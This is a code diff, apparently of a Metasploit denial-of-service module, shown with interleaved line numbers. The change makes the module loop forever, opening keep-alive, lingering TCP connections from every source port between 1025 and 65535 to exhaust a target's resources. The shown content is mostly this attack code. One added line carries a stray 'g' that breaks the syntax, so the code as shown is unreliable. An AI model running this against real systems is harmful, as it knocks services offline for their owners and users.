@@ -29,7 +29,8 @@ def initialize(info = {})
29
29
and Zach Harding.
30
30
31
31
DISCALIMER: This module opens a lot of simultaneous connections. Please check
32
- your system's ULIMIT to make sure it can handle it.
32
+ your system's ULIMIT to make sure it can handle it. This module will also run
33
+ continuously until stopped.
33
34
} ,
34
35
'Author' =>
35
36
[
@@ -55,27 +56,33 @@ def run
55
56
56
57
linger = Socket ::Option . linger ( true , 60 )
57
58
59
+ while true do
60
+ sockets = { }
61
+ ( 1025 ..65535 ) . each do |src_port |
62
+ print_status "Sending packet from Source Port: #{ src_port } "
63
+ opts = {
64
+ 'CPORT' => src_port ,
65
+ 'ConnectTimeout' => 360
66
+ }
58
67
59
- ( 1025 ..65535 ) . each do |src_port |
60
- print_status "Sending packet from Source Port: #{ src_port } "
61
- opts = {
62
- 'CPORT' => src_port ,
63
- 'ConnectTimeout' => 360
64
- }
68
+ if sockets [ src_port ]
69
+ disconnect ( sockets [ src_port ] )
70
+ end
65
71
66
- begin
67
- nsock = connect ( false , opts )
68
- nsock . setsockopt ( Socket ::SOL_SOCKET , Socket ::SO_KEEPALIVE , true )
69
- nsock . setsockopt ( Socket ::Option . int ( :INET , :TCP , :KEEPCNT , 5 ) )
70
- nsock . setsockopt ( Socket ::Option . int ( :INET , :TCP , :KEEPINTVL , 10 ) )
71
- nsock . setsockopt ( linger )
72
- nsock . write ( header . to_binary_s )
73
- rescue ::Exception => e
74
- print_error "Exception sending packet: #{ e . message } "
72
+ begin
73
+ nsock = connect ( false , opts )
74
+ nsock . setsockopt ( Socket ::SOL_SOCKET , Socket ::SO_KEEPALIVE , true )
75
+ nsock . setsockopt ( Socket ::Option . int ( :INET , :TCP , :KEEPCNT , 5 ) )
76
+ nsock . setsockopt ( Socket ::Option . int ( :INET , :TCP , :KEEPINTVL , 10 ) )
77
+ nsock . setsockopt ( linger )
78
+ nsock . write ( header . to_binary_s )
79
+ sockets [ src_port ] = nsock g
80
+ rescue ::Exception => e
81
+ print_error "Exception sending packet: #{ e . message } "
82
+ end
75
83
end
76
84
end
77
- print_status "Sleeping for 30 seconds..."
78
- select ( nil , nil , nil , 30 )
85
+
79
86
80
87
end
81
88
0 commit comments